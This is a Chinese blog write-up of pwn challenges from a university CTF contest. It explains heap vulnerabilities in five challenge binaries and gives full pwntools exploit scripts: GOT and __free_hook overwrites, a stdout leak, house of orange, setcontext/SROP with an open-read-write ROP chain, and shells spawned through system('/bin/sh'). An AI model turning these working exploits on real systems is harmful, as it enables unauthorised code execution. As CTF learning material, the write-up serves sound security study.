欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

高校战“疫”网络安全分享赛pwn部分wp

程序员文章站 2022-05-12 12:00:04
...

高校战“疫”网络安全分享赛pwn部分wp

博客地址

easyheap

刚复现的第一题,并且在刚开始的时候连洞都找不到…可真是当头一棒。
高校战“疫”网络安全分享赛pwn部分wp
漏洞在申请的大小大于0x400时,return。这时ptr[i]没有被释放,接下来就是常规劫持ptr[i]堆块上的指针为got表。修改got表。来实现利用。


```python
# -*- coding: utf-8 -*
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'amd64'
p = 0
def pwn(ip,port,debug,flaag):
	elf = ELF(flaag)
	global p
	if(debug == 1):
		p = process(flaag)

	else:
		p = remote(ip,port)
	def add(size,content):
		p.sendlineafter("Your choice:\n","1")
		p.sendlineafter("this message?\n",str(size))
		p.sendafter("content of the message?\n",content)
	def free(index):
		p.sendlineafter("Your choice:\n","2")
		p.sendlineafter("item to be deleted?\n",str(index))
	def edit(index,content):
		p.sendlineafter("Your choice:\n","3")
		p.sendlineafter(" the item to be modified?\n",str(index))
		p.sendafter("content of the message?\n",content)
	libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
	add(0x18,'\xff'*0x18)
	free(0)
	p.sendlineafter("Your choice:\n","1")
	p.sendlineafter("this message?\n",str(0x500))
	p.sendlineafter("Your choice:\n","1")
	p.sendlineafter("this message?\n",str(0x500))
	edit(0,p64(0)+p64(0x21)+p64(0x6020d8))
	edit(1,p64(0x6020f0)+p64(0x602100)+p64(0)+p64(elf.got['free'])+p64(0x200)+p64(0x602108)+'/bin/sh\x00')
	#gdb.attach(p)
	edit(0,p64(0)+p64(0x21)+p64(elf.got['free']))
	edit(1,p64(elf.plt['puts']))
	edit(0,p64(0)+p64(0x21)+p64(elf.got['puts']))
	free(1)
	puts_addr=u64(p.recv(6).ljust(8,'\x00'))
	libcbase_addr=puts_addr-libc.symbols['puts']
	system_addr=libcbase_addr+libc.symbols['system']
	binsh_addr=libcbase_addr+libc.search("/bin/sh\x00").next()
	edit(3,p64(system_addr))
	free(4)
	print "system_addr=>",hex(system_addr)
	print "libcbase_addr=>",hex(libcbase_addr)
	p.interactive()
if __name__ == '__main__':
	pwn('121.36.209.145',9997,0,'./easyheap')

lgd

开沙盒的堆溢出,老实说之前没遇到过这种。
高校战“疫”网络安全分享赛pwn部分wp
在edit时read的长度为add时写在bss段字符串的长度。 造成了堆溢出。 利用堆溢出挟持__free_hooksetcontext,从而劫持rsp,rip,从而劫持程序,在利用ORW来泄露flag

# -*- coding: utf-8 -*
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'amd64'
p = 0
def pwn(ip,port,debug,flaag):
	elf = ELF(flaag)
	global p
	if(debug == 1):
		p = process(flaag)

	else:
		p = remote(ip,port)
	def add(size,content):
		p.sendlineafter(">> ","1")
		p.sendlineafter("______?\n",str(size))
		p.sendafter("yes_or_no?\n",content)
	def free(index):
		p.sendlineafter(">> ","2")
		p.sendlineafter("index ?\n",str(index))
	def show(index):
		p.sendlineafter(">> ","3")
		p.sendlineafter("index ?\n",str(index))
	def edit(index,content):
		p.sendlineafter(">> ","4")
		p.sendlineafter("index ?\n",str(index))
		p.sendafter("c___new_content ?\n",content)
	libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
	p.sendlineafter("what is your name? \n","aaa")
	add(0x50,"\xff"*0x200)
	add(0xf8,'\xff'*0x200)
	add(0x68,"\xff"*0x200)
	free(1)
	free(2)
	edit(0,"A"*0x58+"B"*8)
	show(0)
	p.recvuntil("BBBBBBBB")
	main_arena=u64(p.recv(6).ljust(8,"\x00"))
	libcbase_addr=main_arena-(0x7f9f177d8b78-0x7f9f17414000)
	free_hook=libcbase_addr+libc.symbols['__free_hook']
	edit(0,"A"*0x58+p64(0x101)+p64(main_arena)+p64(free_hook-0x40)+p64(0)*28+p64(0x100)+p64(0x71)+p64(free_hook-0x33))
	add(0xf8,'\xff'*0x200)
	add(0x68,'\xff'*0x200)
	add(0x68,'\xff'*0x200)
	edit(3,p64(0)*4+'\x00'*3+p64(libcbase_addr+libc.symbols['setcontext']+0x35))
	frame = SigreturnFrame()
	frame.rdi = 0
	frame.rax = 0
	frame.rsi = (libcbase_addr + libc.symbols['__free_hook'])
	frame.rcx = (libcbase_addr + libc.symbols['__free_hook'])
	frame.rdx = 0x2000
	frame.rsp = (libcbase_addr + libc.symbols['__free_hook'])
	frame.rip = libcbase_addr+ 0x00000000000bc375 #: syscall; ret; 
	payload = str(frame)
	
	edit(2,payload)
	print "payload len=>",hex(libcbase_addr+libc.symbols['setcontext']+0x35)
	#gdb.attach(p)
	free(2)
	pop_rdi_ret=0x4023b3
	pop_rsi_ret=libcbase_addr+libc.search(asm("pop rsi\nret")).next()
	pop_rdx_ret=libcbase_addr+libc.search(asm("pop rdx\nret")).next()
	open_addr=libcbase_addr+libc.symbols['open']
	read_addr=libcbase_addr+libc.symbols['read']
	puts_addr=libcbase_addr+libc.symbols['puts']
	flag_addr=free_hook+15*8
	orw=p64(pop_rdi_ret)+p64(flag_addr)+p64(pop_rsi_ret)+p64(72)+p64(open_addr)+p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(0x603060)+p64(pop_rdx_ret)+p64(0x30)+p64(read_addr)
	orw+=p64(pop_rdi_ret)+p64(0x603060)+p64(puts_addr)+"/flag\x00"
	p.sendline(orw)
	print "main_arena=>",hex(main_arena)
	
	p.interactive()
if __name__ == '__main__':
	pwn('121.36.209.145',9998,0,'./attach')

woodenbox2

相较于之前的题,这个题是我感觉如果我去我有可能做出来的
高校战“疫”网络安全分享赛pwn部分wp
漏洞点在更改chunk时可以任意大小修改,难点是泄露,没有泄露函数,通过main_arena来将_IO_2_1_stdout_-0x43加入0x70的fast bin attack中,通过更改_IO_2_1_stdout__flags0xfbad1800(即刻输出),且更改_IO_write_base为要泄露的地址来泄露地址,然后用house of orange来shell。

# -*- coding: utf-8 -*
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'amd64'
p = 0
def pwn(ip,port,debug,flaag):
	elf = ELF(flaag)
	global p
	if(debug == 1):
		p = process(flaag)

	else:
		p = remote(ip,port)
	def add(size,name):
		p.sendlineafter("Your choice:","1")
		p.sendlineafter("length of item name:",str(size))
		p.sendafter("the name of item:",name)
	def edit(index,size,name):
		p.sendlineafter("Your choice:","2")
		p.sendlineafter("index of item:",str(index))
		p.sendlineafter("length of item name:",str(size))
		p.sendlineafter("new name of the item:",name)
	def free(index):
		p.sendlineafter("Your choice:","3")
		p.sendlineafter("the index of item:",str(index))
	libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
	add(0xf8,'a')
	add(0x68,'a')
	add(0xf8,'a')
	add(0x10,'a')
	free(0)
	edit(0,0x70,'a'*0x60+p64(0x170)+p64(0x100))
	free(0)
	free(0)
	add(0xf8,'a')
	add(0x58,'\xdd\x25')
	edit(1,0x100,'A'*0xf8+p64(0x71))
	add(0x68,'aa')
	payload=p64(0)*6+'\x00'*3+p64(0x00fbad1800)+p64(0)*3+'\x88'
	gdb.attach(p)
	add(0x68,payload)
	libcbase_addr=u64(p.recv(6).ljust(8,'\x00'))-(0x7f9c190818e0-0x00007f9c18cbd000)
	IO_list_addr=libcbase_addr+libc.symbols['_IO_list_all']
	system_addr=libcbase_addr+libc.symbols['system']
	print "system_addr=>",hex(system_addr)
	fake_file=p64(0)+p64(0x61)
	fake_file+=p64(0)+p64(IO_list_addr-0x10)
	fake_file+=p64(1)+p64(2)
	fake_file+=p64(0)+p64(libcbase_addr+0x18cd57)
	fake_file=fake_file.ljust(0xd8,"\x00")
	fake_file+=p64(libcbase_addr+0x3c37a0-8)
	fake_file+=p64(0)
	fake_file+=p64(libcbase_addr+libc.symbols['system'])
	edit(2,0x50+len(fake_file),'a'*0x50+fake_file)
	p.sendlineafter("Your choice:","1")
	p.sendlineafter("length of item name:",str(0x100))
	p.interactive()
if __name__ == '__main__':
	pwn('121.36.215.224',9998,1,'./woodenbox2')

EasyVM

这个题的话,读懂这个启动函数就通杀了。
主要函数分析

if ( *(_BYTE *)a1[8] == 0x11 )
    {
      printf("%p\n", a1[1]); //打印str[1]
      ++a1[8];
    }
-------
    if ( *(_BYTE *)a1[8] == 0x80u )
    {
      a1[guanjian((int)a1, 1u)] = *(_DWORD *)(a1[8] + 2);//这部分可以修改任意str位置的值为a1[8]+2的值
      a1[8] += 6;
    }
-------
	   if ( *(_BYTE *)a1[8] == 9 )
	    {
	      a1[1] = dword_305C;  //str[1]==dword_305c
	      ++a1[8];
	    }
---------
	   case 4:
			puts("Maybe a bug is a gif?");
			dword_305C = v5; 
	//将dword_305c赋值v5,通过调试可发现v5为libc的一个地址,与str[8]==9配合可以打印一个程序地址
			ptr[8] = &unk_3020;
			break;
----------
    if ( *(_BYTE *)a1[8] == 0x53 )
    {
      putchar(*(char *)a1[3]);//可用来str[3]泄露地址
      a1[8] += 2;
    }
----------
    if ( *(_BYTE *)a1[8] == 0x54 )
    {
      v1 = (_BYTE *)a1[3];
      *v1 = getchar();//用来任意地址写
      a1[8] += 2;
    }
---------
   if ( *(_BYTE *)a1[8] == 0x99u )
      break;//退出循环

这样一分析程序就很简单了。思路就是先泄露程序地址,构造payload利用putchar来逐个打印libc地址,然后利用getchar任意地址写,这里攻击
__free_hook来实现shell。

# -*- coding: utf-8 -*
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'i386'
p = 0
def pwn(ip,port,debug,flaag):
	elf = ELF(flaag)
	global p
	if(debug == 1):
		p = process(flaag)

	else:
		p = remote(ip,port)
	def add(content):
		p.sendlineafter(">>> ",'1')
		p.send(content)
	def free():
		p.sendlineafter(">>> ",'3')
	p.sendlineafter(">>> ",'4')
	add('\x09\x11\x99')
	p.sendlineafter(">>> ",'2')
	p.recvuntil("0x")
	free_got=int(p.recv(8),16)+0x28fc
	print "free_got=>",hex(free_got)
	free_addr=''
	for i in range(4):
		payload ='\x80'+chr(3)+p32(free_got+i)+'\x53'+'\x99'+'\x99'
		add(payload)
		p.sendlineafter(">>> ",'2')
		free_addr =free_addr+ p.recvuntil('1.Produce',True)[-1:]
	print "free_addr=>",hex(u32(free_addr))
	libc=ELF("/lib/i386-linux-gnu/libc.so.6")
	libcbase_addr=u32(free_addr)-libc.symbols['free']
	free_hook=libcbase_addr+libc.symbols['__free_hook']
	system_addr=libcbase_addr+libc.symbols['system']
	one_ge=[0x3ac5c,0x3ac5e,0x3ac62,0x3ac69,0x5fbc5,0x5fbc6]
	for i in range(4):
		payload ='\x80'+chr(3)+p32(free_hook+i)+'\x54'+'\x99'+'\x99'
		add(payload)
		p.sendlineafter(">>> ",'2')
		p.send(p32(system_addr)[i])
	payload='\x80'+chr(16)+'sh\x00'+'\x99'+'\x99'
	add(payload)
	p.sendlineafter(">>> ",'2')
	free()
	p.interactive()
if __name__ == '__main__':
	pwn('buuoj.cn',20035,1,'./EasyVM')

Shotest_Path_v2

这个的话非预期了

# -*- coding: utf-8 -*
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'amd64'
p = 0
def pwn(ip,port,debug,flaag):
	elf = ELF(flaag)
	global p
	if(debug == 1):
		p = process(flaag)

	else:
		p = remote(ip,port)
	def add(index,size,name,nums,station,distance):
		p.sendlineafter("options ---> ","1")
		p.sendlineafter("Station ID: ",str(index))
		p.sendlineafter("Station Price: ","10")
		p.sendlineafter("Name Length: ",str(size))
		p.sendafter("Station Name: \n",name)
		p.sendlineafter("connected station: ",str(nums))
		for i in range(nums):
			p.sendlineafter("station ID: ",str(station[i]))
			p.sendlineafter("station distance: ",str(distance[i]))
	def free(index):
		p.sendlineafter("options ---> ","2")
		p.sendlineafter("Station ID: ",str(index))
	def show(index):
		p.sendlineafter("options ---> ","3")
		p.sendlineafter("Station ID: ",str(index))
	add(0,0xc8,'\xff'*8,1,[1],[1])
	add(1,0xb8,'\xff'*8,1,[1],[1])
	add(2,0x68,'\xff'*0x20,1,[1],[1])
	show(2)
	p.interactive()
if __name__ == '__main__':
	pwn('121.37.181.246',19008,1,'./Shortest_path')

总结

更简单的house of orange

    fake_file=p64(0)+p64(0x61)
    fake_file+=p64(0)+p64(IO_list_addr-0x10)
    fake_file+=p64(1)+p64(2)
    fake_file+=p64(0)+p64(libcbase_addr+0x18cd57)#'/bin/sh\x00'
    fake_file=fake_file.ljust(0xd8,"\x00")
    fake_file+=p64(libcbase_addr+0x3c37a0-8)#_IO_str_jumps-8
    fake_file+=p64(0)
    fake_file+=p64(libcbase_addr+libc.symbols['system'])

有沙盒的堆溢出

堆溢出的利用基本都是劫持函数的指针使其执行某一个函数,而栈溢出的利用基本就是劫持寄存器从而劫持程序。 当只有堆溢出的利用需要沙盒时,我们需要一个函数来劫持寄存器。实现劫持程序

原理

#include <ucontext.h>
#include <stdio.h>
int done = 0;
int main()

{
	ucontext_t context;
	getcontext(&context);//将所有寄存器信息保存到context
	if (done)
	{
		printf("return from getcontext,exit\n");
		return 0;
	}
	done = 1;
	setcontext(&context);//还原寄存器
	return 0;//never goto here!

}

编译指令gcc 1.c -o ceshi
高校战“疫”网络安全分享赛pwn部分wp

利用思路

利用堆溢出漏洞使其执行setcontext(&context)函数,context是我们可控制的内存,这样在执行后我们就劫持了所有的寄存器从而劫持流程,之后利用ORW来读写文件。

相关标签: 信息安全